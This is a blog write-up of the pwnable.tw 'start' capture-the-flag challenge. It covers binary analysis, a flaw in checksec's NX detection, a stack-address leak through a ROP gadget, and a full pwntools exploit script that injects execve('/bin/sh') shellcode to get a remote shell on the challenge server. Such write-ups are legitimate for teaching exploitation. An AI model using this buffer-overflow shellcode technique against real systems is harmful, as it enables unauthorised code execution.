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Pwnable.tw start
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<i class="fa fa-calendar padding-small"></i><time datetime="2018-08-01T10:02:00+02:00"> Wed 01 August 2018</time>
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<p>This is another binary exploitation challenge, this time from pwnable.tw.</p>
<blockquote>
<p>Just a start. nc chall.pwnable.tw 10000
<a href="https://pwnable.tw/static/chall/start">start</a></p>
</blockquote>
<p>Let’s inspect binary:</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kali</span><span class="err">:</span><span class="o">~/</span><span class="n">ctf</span><span class="o">/</span><span class="n">pwnable</span><span class="p">.</span><span class="n">tw_start</span><span class="err">#</span><span class="w"> </span><span class="k">file</span><span class="w"> </span><span class="k">start</span>
<span class="k">start</span><span class="err">:</span><span class="w"> </span><span class="n">ELF</span><span class="w"> </span><span class="mi">32</span><span class="o">-</span><span class="nc">bit</span><span class="w"> </span><span class="n">LSB</span><span class="w"> </span><span class="n">executable</span><span class="p">,</span><span class="w"> </span><span class="n">Intel</span><span class="w"> </span><span class="mi">80386</span><span class="p">,</span><span class="w"> </span><span class="n">version</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="p">(</span><span class="n">SYSV</span><span class="p">),</span><span class="w"> </span><span class="n">statically</span><span class="w"> </span><span class="n">linked</span><span class="p">,</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="n">stripped</span>
</code></pre></div>
<p>Check for security measures using <strong>checksec</strong>:</p>
<p><img alt="Checksec result" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_9_1_start3.png"></p>
<p>And let’s run decompiler:</p>
<p><img alt="Decompilation result" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_9_1_start1.png"></p>
<p>We see that binary is very simple, it makes two Linux syscalls, first write (<code>0x04</code>) and then it takes user input using <code>read</code> (Ox03). Type of call depends on the value in <code>EAX</code>, if you want more information about parameters for syscalls you can take a look at <a href="https://syscalls.kernelgrok.com/">https://syscalls.kernelgrok.com/</a>.</p>
<p>Now, we can run binary :</p>
<div class="highlight"><pre><span></span><code><span class="n">root</span><span class="nv">@kali</span><span class="err">:</span><span class="o">~/</span><span class="n">ctf</span><span class="o">/</span><span class="n">pwnable</span><span class="p">.</span><span class="n">tw_start</span><span class="err">#</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="k">start</span>
<span class="n">Let</span><span class="err">'</span><span class="n">s</span><span class="w"> </span><span class="k">start</span><span class="w"> </span><span class="n">the</span><span class="w"> </span><span class="nl">CTF</span><span class="p">:</span><span class="n">test</span>
<span class="n">root</span><span class="nv">@kali</span><span class="err">:</span><span class="o">~/</span><span class="n">ctf</span><span class="o">/</span><span class="n">pwnable</span><span class="p">.</span><span class="n">tw_start</span><span class="err">#</span>
</code></pre></div>
<p>We can use <strong>gdb-peda</strong> as we did in the previous post to detect offset of <code>EIP</code>.</p>
<div class="highlight"><pre><span></span><code><span class="n">gdb</span><span class="o">-</span><span class="n">peda</span><span class="err">$</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="k">search</span>
<span class="n">Registers</span><span class="w"> </span><span class="n">contain</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="nl">buffer</span><span class="p">:</span>
<span class="n">EIP</span><span class="o">+</span><span class="mi">0</span><span class="w"> </span><span class="k">found</span><span class="w"> </span><span class="k">at</span><span class="w"> </span><span class="nl">offset</span><span class="p">:</span><span class="w"> </span><span class="mi">20</span>
<span class="n">Registers</span><span class="w"> </span><span class="n">point</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="nl">buffer</span><span class="p">:</span>
<span class="o">[</span><span class="n">ECX</span><span class="o">]</span><span class="w"> </span><span class="o">--></span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="o">~</span><span class="mi">631</span>
<span class="o">[</span><span class="n">ESP</span><span class="o">]</span><span class="w"> </span><span class="o">--></span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="mi">24</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="o">~</span><span class="mi">697</span>
<span class="n">Pattern</span><span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="k">found</span><span class="w"> </span><span class="k">at</span><span class="err">:</span>
<span class="mh">0xffffd304</span><span class="w"> </span><span class="err">:</span><span class="w"> </span><span class="n">offset</span><span class="w"> </span><span class="mi">0</span><span class="w"> </span><span class="o">-</span><span class="w"> </span><span class="k">size</span><span class="w"> </span><span class="mi">40</span><span class="w"> </span><span class="p">(</span><span class="err">$</span><span class="n">sp</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="o">-</span><span class="mh">0x18</span><span class="w"> </span><span class="o">[</span><span class="n">-6 dwords</span><span class="o">]</span><span class="p">)</span>
<span class="n">Reference</span><span class="w"> </span><span class="k">to</span><span class="w"> </span><span class="n">pattern</span><span class="w"> </span><span class="n">buffer</span><span class="w"> </span><span class="ow">not</span><span class="w"> </span><span class="k">found</span><span class="w"> </span><span class="ow">in</span><span class="w"> </span><span class="n">memory</span>
</code></pre></div>
<p>We see that the offset of <code>EIP</code> is 20. Since binary is very small there is only one <code>ret;</code> instruction so it is probably not exploitable using ROP. Another problem is that we have <strong>NX</strong> bit set which means we also can’t use shellcode. At this point I was stuck. Challenge looked way harder then the first challenge in series should be, so I decided to inspect binary a bit more. Let’s run <code>readelf</code>:</p>
<div class="highlight"><pre><span></span><code><span class="nx">root</span><span class="err">@</span><span class="nx">kali</span><span class="p">:</span><span class="o">~/</span><span class="nx">ctf</span><span class="o">/</span><span class="nx">pwnable</span><span class="p">.</span><span class="nx">tw_start</span><span class="err">#</span><span class="w"> </span><span class="nx">readelf</span><span class="w"> </span><span class="o">-</span><span class="nx">l</span><span class="w"> </span><span class="p">.</span><span class="o">/</span><span class="nx">start</span>
<span class="nx">Elf</span><span class="w"> </span><span class="nx">file</span><span class="w"> </span><span class="k">type</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="nx">EXEC</span><span class="w"> </span><span class="p">(</span><span class="nx">Executable</span><span class="w"> </span><span class="nx">file</span><span class="p">)</span>
<span class="nx">Entry</span><span class="w"> </span><span class="nx">point</span><span class="w"> </span><span class="mh">0x8048060</span>
<span class="nx">There</span><span class="w"> </span><span class="k">is</span><span class="w"> </span><span class="mi">1</span><span class="w"> </span><span class="nx">program</span><span class="w"> </span><span class="nx">header</span><span class="p">,</span><span class="w"> </span><span class="nx">starting</span><span class="w"> </span><span class="nx">at</span><span class="w"> </span><span class="nx">offset</span><span class="w"> </span><span class="mi">52</span>
<span class="nx">Program</span><span class="w"> </span><span class="nx">Headers</span><span class="p">:</span>
<span class="w"> </span><span class="nx">Type</span><span class="w"> </span><span class="nx">Offset</span><span class="w"> </span><span class="nx">VirtAddr</span><span class="w"> </span><span class="nx">PhysAddr</span><span class="w"> </span><span class="nx">FileSiz</span><span class="w"> </span><span class="nx">MemSiz</span><span class="w"> </span><span class="nx">Flg</span><span class="w"> </span>
<span class="w"> </span><span class="nx">LOAD</span><span class="w"> </span><span class="mh">0x000000</span><span class="w"> </span><span class="mh">0x08048000</span><span class="w"> </span><span class="mh">0x08048000</span><span class="w"> </span><span class="mh">0x000a3</span><span class="w"> </span><span class="mh">0x000a3</span><span class="w"> </span><span class="nx">R</span><span class="w"> </span><span class="nx">E</span>
<span class="nx">Section</span><span class="w"> </span><span class="nx">to</span><span class="w"> </span><span class="nx">Segment</span><span class="w"> </span><span class="nx">mapping</span><span class="p">:</span>
<span class="w"> </span><span class="nx">Segment</span><span class="w"> </span><span class="nx">Sections</span><span class="o">...</span>
<span class="w"> </span><span class="mi">00</span><span class="w"> </span><span class="p">.</span><span class="nx">text</span>
</code></pre></div>
<p>It is interesting to see that there is no <code>GNU_STACK</code> header. And if we look at how <strong>checksec</strong> does <strong>NX</strong> bit check, we see:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="c1"># check for NX support</span>
<span class="w"> </span><span class="nv">$debug</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-e<span class="w"> </span><span class="s2">"\n***function filecheck->nx"</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">$readelf</span><span class="w"> </span>-W<span class="w"> </span>-l<span class="w"> </span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span><span class="w"> </span><span class="m">2</span>>/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">'GNU_STACK'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span><span class="s1">'RWE'</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span>echo_message<span class="w"> </span><span class="s1">'\033[31mNX disabled\033[m '</span><span class="w"> </span><span class="s1">'NX disabled,'</span><span class="w"> </span><span class="s1">' nx="no"'</span><span class="w"> </span><span class="s1">'"nx":"no",'</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span>echo_message<span class="w"> </span><span class="s1">'\033[32mNX enabled \033[m '</span><span class="w"> </span><span class="s1">'NX enabled,'</span><span class="w"> </span><span class="s1">' nx="yes"'</span><span class="w"> </span><span class="s1">'"nx":"yes",'</span>
<span class="k">fi</span>
</code></pre></div>
<p>Since it greps for <strong>GNU_STACK</strong> and checks for <strong>RWE</strong> permission on the result, even in the case that no <strong>GNU_STACK</strong> header is defined in binary, it will report that <strong>NX</strong> is enabled. So in the end it seems that we should try shellcode. Let’s just quickly fix <strong>checksec</strong>:</p>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="c1"># check for NX support</span>
<span class="w"> </span><span class="nv">$debug</span><span class="w"> </span><span class="o">&&</span><span class="w"> </span><span class="nb">echo</span><span class="w"> </span>-e<span class="w"> </span><span class="s2">"\n***function filecheck->nx"</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">$readelf</span><span class="w"> </span>-W<span class="w"> </span>-l<span class="w"> </span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span><span class="w"> </span><span class="m">2</span>>/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span><span class="s1">'GNU_STACK'</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span><span class="k">if</span><span class="w"> </span><span class="nv">$readelf</span><span class="w"> </span>-W<span class="w"> </span>-l<span class="w"> </span><span class="s2">"</span><span class="nv">$1</span><span class="s2">"</span><span class="w"> </span><span class="m">2</span>>/dev/null<span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span><span class="s1">'GNU_STACK'</span><span class="w"> </span><span class="p">|</span><span class="w"> </span>grep<span class="w"> </span>-q<span class="w"> </span><span class="s1">'RWE'</span><span class="p">;</span><span class="w"> </span><span class="k">then</span>
<span class="w"> </span>echo_message<span class="w"> </span><span class="s1">'\033[31mNX disabled\033[m '</span><span class="w"> </span><span class="s1">'NX disabled,'</span><span class="w"> </span><span class="s1">' nx="no"'</span><span class="w"> </span><span class="s1">'"nx":"no",'</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span>echo_message<span class="w"> </span><span class="s1">'\033[32mNX enabled \033[m '</span><span class="w"> </span><span class="s1">'NX enabled,'</span><span class="w"> </span><span class="s1">' nx="yes"'</span><span class="w"> </span><span class="s1">'"nx":"yes",'</span>
<span class="w"> </span><span class="k">fi</span>
<span class="w"> </span><span class="k">else</span>
<span class="w"> </span>echo_message<span class="w"> </span><span class="s1">'\033[31mNX disabled\033[m '</span><span class="w"> </span><span class="s1">'NX disabled,'</span><span class="w"> </span><span class="s1">' nx="no"'</span><span class="w"> </span><span class="s1">'"nx":"no",'</span>
<span class="k">fi</span>
</code></pre></div>
<p>First, we need to find a stack address so we can point <code>EIP</code> to the right place. Fortunately for us, one of the first instructions is <code>push esp;</code> which saves stack pointer to the stack. If we look at the flow of program we see that:</p>
<ol>
<li>
<p><code>mov ecx, esp;</code> will make <code>write</code> syscall read from the current stack address.</p>
</li>
<li>
<p>before <code>retn;</code> we have <code>add esp, 14h;</code> which removes all of that data pushed on stack after stack pointer (5 <code>push</code> instructions setting strings on the stack) making <code>ESP</code> point to the saved stack pointer.</p>
</li>
</ol>
<p>So if we trigger write again it will read saved stack pointer address. To do that we can use following <strong>ROP</strong> gadget:</p>
<div class="highlight"><pre><span></span><code><span class="mh">0x08048087</span><span class="o">:</span><span class="n">mov</span><span class="w"> </span><span class="n">ecx</span><span class="o">,</span><span class="w"> </span><span class="n">esp</span><span class="o">;</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">dl</span><span class="o">,</span><span class="w"> </span><span class="mh">0x14</span><span class="o">;</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">bl</span><span class="o">,</span><span class="mi">1</span><span class="o">;</span><span class="w"> </span><span class="n">mov</span><span class="w"> </span><span class="n">al</span><span class="o">,</span><span class="w"> </span><span class="mi">4</span><span class="o">;</span><span class="n">int</span><span class="w"> </span><span class="mh">0x80</span><span class="o">;</span>
</code></pre></div>
<p>So first payload we use is going to be:</p>
<div class="highlight"><pre><span></span><code>'A'* 20 + p32(0x08048087)
</code></pre></div>
<p>After our first input, the program will give us a stack pointer address and trigger the next <code>read</code> syscall (since first <code>ret;</code> instruction, if we look at the original assembly, is after <code>read</code>). This time we are going to put shellcode on the stack and point <code>EIP</code> to leaked stack pointer address. Let’s use simple <code>execve</code> syscall:</p>
<div class="highlight"><pre><span></span><code><span class="n">shellcode</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">asm</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span>
<span class="w"> </span><span class="s1">'push </span><span class="si">%d</span><span class="s1">'</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">u32</span><span class="p">(</span><span class="s1">'/sh</span><span class="se">\0</span><span class="s1">'</span><span class="p">),</span>
<span class="w"> </span><span class="s1">'push </span><span class="si">%d</span><span class="s1">'</span><span class="w"> </span><span class="o">%</span><span class="w"> </span><span class="n">u32</span><span class="p">(</span><span class="s1">'/bin'</span><span class="p">),</span>
<span class="w"> </span><span class="s1">'xor edx, edx'</span><span class="p">,</span>
<span class="w"> </span><span class="s1">'xor ecx, ecx'</span><span class="p">,</span>
<span class="w"> </span><span class="s1">'mov ebx, esp'</span><span class="p">,</span>
<span class="w"> </span><span class="s1">'mov eax, 0xb'</span><span class="p">,</span>
<span class="w"> </span><span class="s1">'int 0x80'</span><span class="p">,</span>
<span class="p">]))</span>
<span class="n">payload</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="s2">"A"</span><span class="o">*</span><span class="mi">20</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">p32</span><span class="p">(</span><span class="n">esp</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="mi">20</span><span class="p">)</span><span class="w"> </span><span class="o">+</span><span class="w"> </span><span class="n">shellcode</span>
</code></pre></div>
<p>And we get a shell :D</p>
<p><img alt="Shell" class="img-fluid centerimage" src="https://f3real.github.io/images/2018_9_1_start2.png"></p>
<p>We can combine all of this in one <strong>pwntool</strong> script for simplicity.</p>
<div class="highlight"><pre><span></span><code><span class="kn">from</span> <span class="nn">pwn</span> <span class="kn">import</span> <span class="o">*</span>
<span class="k">def</span> <span class="nf">leak_esp</span><span class="p">(</span><span class="n">r</span><span class="p">):</span>
<span class="n">address_1</span> <span class="o">=</span> <span class="n">p32</span><span class="p">(</span><span class="mh">0x08048087</span><span class="p">)</span> <span class="c1"># mov ecx, esp; mov dl, 0x14; mov bl, 1; mov al, 4; int 0x80; </span>
<span class="n">payload</span> <span class="o">=</span> <span class="s1">'A'</span><span class="o">*</span><span class="mi">20</span> <span class="o">+</span> <span class="n">address_1</span>
<span class="nb">print</span> <span class="n">r</span><span class="o">.</span><span class="n">recvuntil</span><span class="p">(</span><span class="s1">'CTF:'</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">esp</span> <span class="o">=</span> <span class="n">u32</span><span class="p">(</span><span class="n">r</span><span class="o">.</span><span class="n">recv</span><span class="p">()[:</span><span class="mi">4</span><span class="p">])</span>
<span class="nb">print</span> <span class="s2">"Address of ESP: "</span><span class="p">,</span> <span class="nb">hex</span><span class="p">(</span><span class="n">esp</span><span class="p">)</span>
<span class="k">return</span> <span class="n">esp</span>
<span class="n">shellcode</span> <span class="o">=</span> <span class="n">asm</span><span class="p">(</span><span class="s1">'</span><span class="se">\n</span><span class="s1">'</span><span class="o">.</span><span class="n">join</span><span class="p">([</span>
<span class="s1">'push </span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="s1">'/sh</span><span class="se">\0</span><span class="s1">'</span><span class="p">),</span>
<span class="s1">'push </span><span class="si">%d</span><span class="s1">'</span> <span class="o">%</span> <span class="n">u32</span><span class="p">(</span><span class="s1">'/bin'</span><span class="p">),</span>
<span class="s1">'xor edx, edx'</span><span class="p">,</span>
<span class="s1">'xor ecx, ecx'</span><span class="p">,</span>
<span class="s1">'mov ebx, esp'</span><span class="p">,</span>
<span class="s1">'mov eax, 0xb'</span><span class="p">,</span>
<span class="s1">'int 0x80'</span><span class="p">,</span>
<span class="p">]))</span>
<span class="k">if</span> <span class="vm">__name__</span> <span class="o">==</span> <span class="s2">"__main__"</span><span class="p">:</span>
<span class="n">context</span><span class="o">.</span><span class="n">arch</span> <span class="o">=</span> <span class="s1">'i386'</span>
<span class="n">r</span> <span class="o">=</span> <span class="n">remote</span><span class="p">(</span><span class="s1">'chall.pwnable.tw'</span><span class="p">,</span> <span class="mi">10000</span><span class="p">)</span>
<span class="c1">#gdb.attach(r)</span>
<span class="n">esp</span> <span class="o">=</span> <span class="n">leak_esp</span><span class="p">(</span><span class="n">r</span><span class="p">)</span>
<span class="n">payload</span> <span class="o">=</span> <span class="s2">"A"</span><span class="o">*</span><span class="mi">20</span> <span class="o">+</span> <span class="n">p32</span><span class="p">(</span><span class="n">esp</span> <span class="o">+</span> <span class="mi">20</span><span class="p">)</span> <span class="o">+</span> <span class="n">shellcode</span>
<span class="n">r</span><span class="o">.</span><span class="n">send</span><span class="p">(</span><span class="n">payload</span><span class="p">)</span>
<span class="n">r</span><span class="o">.</span><span class="n">interactive</span><span class="p">()</span>
</code></pre></div>
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